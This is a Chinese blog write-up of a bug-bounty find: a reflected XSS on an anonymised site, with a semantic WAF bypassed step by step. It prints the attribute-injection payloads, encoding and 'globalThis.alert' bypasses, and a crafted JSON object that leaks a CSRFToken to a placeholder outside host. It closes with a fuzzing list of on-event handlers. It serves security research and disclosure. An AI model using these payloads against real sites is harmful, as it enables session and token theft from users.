记某次挖补天专属src的XSS一波三折绕过语义分析waf的过程总结

0x01背景

在某次挖补天专属src的时候,发现一个反射型xss漏洞。经过多次尝试都被WAF挡住了,发现此waf应该是基于语义分析的,但最后经过一系列操作,成功提交src通过审核。在这里插入图片描述
此篇文章只为个人记录,部分步骤可能不够详细,有疑问欢迎留言。

输出点

话不多说,以下是绕过过滤和WAF的所有尝试。

0x02尝试

  1. 首先尝试尖括号,发现左右尖括号都被替换成全角,意味着无法自己构造标签,此时意味着很多img之类的操作无法实现。

  2. 双引号没有被过滤,所以可尝试输出点在input标签的参数并闭合双引号,使用autofocus onfocus属性来触发函数。所以当key=" autofocus οnfοcus="alert(1)时,此标签会变成因此网页打开时即可触发。

  3. 此时以为已经完事了,但发现alert和onfocus均被替换为空。

  4. 首先尝试fuzz一下on事件(已在文章末尾附上所有on事件),看下哪些不会被过滤替换,发现onmousemove可以使用。

  5. 接下来则是绕过alert,尝试prompt/confirm均被过滤替换。由于是函数名字所以不能使用大小写,所以接下来尝试使用编码绕过。

  6. payload" onmousemove="al%26%23x65%3Brt(1)" onmousemove=location=""和top[] 和concat等各种变形均很不幸,被waf挡住了,甚至尝试这种诡异编码也被waf挡住了。。。无论如何变形编码都会被探测到,一开始我还以为是编码后的字符被当作敏感字符检测到了,结果发现删掉一个字符后编码,例如alrt(1)编码后,只要不能触发危险函数,就不会被waf拦截,不得不说这个waf有点牛逼。

  7. 事已至此,似乎已经没有办法了。但此时我突然想到,他js自带的函数应该不会被waf吧。所以接下来,开始看他的js代码,找寻是否有特殊的函数能够使用。结果还真发现有个readCookie(),然后再用它自带的openMessageNB函数成功弹出提示。 记某次挖补天专属src的XSS一波三折绕过语义分析waf的过程总结_第1张图片

  8. 但这并不属于典型的弹窗,可能不会通过审核,所以我尽可能的找到某些动态插入标签的函数。然后我发现了一个initGoodsSpec(data)函数,其中会将data中的数据插入到 specContent += "";

  9. 接下来就是构造data,由于函数有获取属性的操作,如果没有定义就会报错,而且防止超过get请求的最大限制,所以需要一步一步分析。最后构造成的data如下。其中h5PicUrl就是出入到img标签中src属性的值。{ "goodsVO": { "goodsId": 44419, "storeId": 1495, "goodsPropertyVOList": [ { "goodsPropertyValueList": [ { “h5PicUrl”: “https://xxx.com”+readCookie()} ], "isMainProperty": "1" } ], "productVOList": [ 44418, 44417 ], "unitType": "1" }, "result": 200, "accountPeriodModeChooseVO": { "showFlag": true, "accountPeriodModeVOList": [] } }

  10. 正当我以为大功告成的时候,意外又发生了。。竟然又被waf拦截了!!经过测试发现"https://xxx.com"后面加上函数,或者类似"对象.属性(例如document.cookie)"就会被拦截。只能带上单个变量。

  11. 由于不能带上函数和任何类似结构"对象.属性(例如document.cookie)的东西,只能带上单个变量,幸运的是有个全局变量CSRFToken可以带上。直接"https://xxx.com"+CSRFToken。记某次挖补天专属src的XSS一波三折绕过语义分析waf的过程总结_第2张图片

  12. 成功外带CSRFToken,将payload等提交至补天,等待审核。

0x03后记

不得不说这个WAF有点强大,是基于语义分析的,能够分析出各种变形。
例如这种则不会被ban
在这里插入图片描述
如果是使用VUE等模块化前端框架(无法在外部直接函数名调用函数)再配合这个WAF,可以说xss很困难了。以上步骤繁琐,也有可能是我太菜了,如果有大佬有头绪的话希望可以指点一二。


更新

几天后我翻阅文章,看到这一句,
(语义分析的waf需要找一些js的新特性或者冷门的写法)
比如:

new class extends confirm``{}

然而很不幸,这个写法也被拦截了。

但通过这个思路,我依葫芦画瓢查阅新特性,发现globalThis能够返回Window对象。
那我们直接globalThis.alert(1);记某次挖补天专属src的XSS一波三折绕过语义分析waf的过程总结_第3张图片
成功弹窗。

0x04附表

on事件

onactivate
onafterprint
onafterscriptexecute
onanimationcancel
onanimationend
onanimationiteration
onanimationstart
onauxclick
onbeforeactivate
onbeforecopy
onbeforecut
onbeforedeactivate
onbeforepaste
onbeforeprint
onbeforescriptexecute
onbeforeunload
onbegin
onblur
onbounce
oncanplay
oncanplaythrough
onchange
onclick
onclose
oncontextmenu
oncopy
oncuechange
oncut
ondblclick
ondeactivate
ondrag
ondragend
ondragenter
ondragleave
ondragover
ondragstart
ondrop
ondurationchange
onend
onended
onerror
onfinish
onfocus
onfocusin
onfocusout
onfullscreenchange
onhashchange
oninput
oninvalid
onkeydown
onkeypress
onkeyup
onload
onloadeddata
onloadedmetadata
onloadend
onloadstart
onmessage
onmousedown
onmouseenter
onmouseleave
onmousemove
onmouseout
onmouseover
onmouseup
onmousewheel
onmozfullscreenchange
onpagehide
onpageshow
onpaste
onpause
onplay
onplaying
onpointerdown
onpointerenter
onpointerleave
onpointermove
onpointerout
onpointerover
onpointerrawupdate
onpointerup
onpopstate
onprogress
onreadystatechange
onrepeat
onreset
onresize
onscroll
onsearch
onseeked
onseeking
onselect
onselectionchange
onselectstart
onshow
onstart
onsubmit
ontimeupdate
ontoggle
ontouchend
ontouchmove
ontouchstart
ontransitioncancel
ontransitionend
ontransitionrun
ontransitionstart
onunhandledrejection
onunload
onvolumechange
onwaiting
onwebkitanimationend
onwebkitanimationiteration
onwebkitanimationstart
onwebkittransitionend
onwheel

你可能感兴趣的:(JavaScript,安全)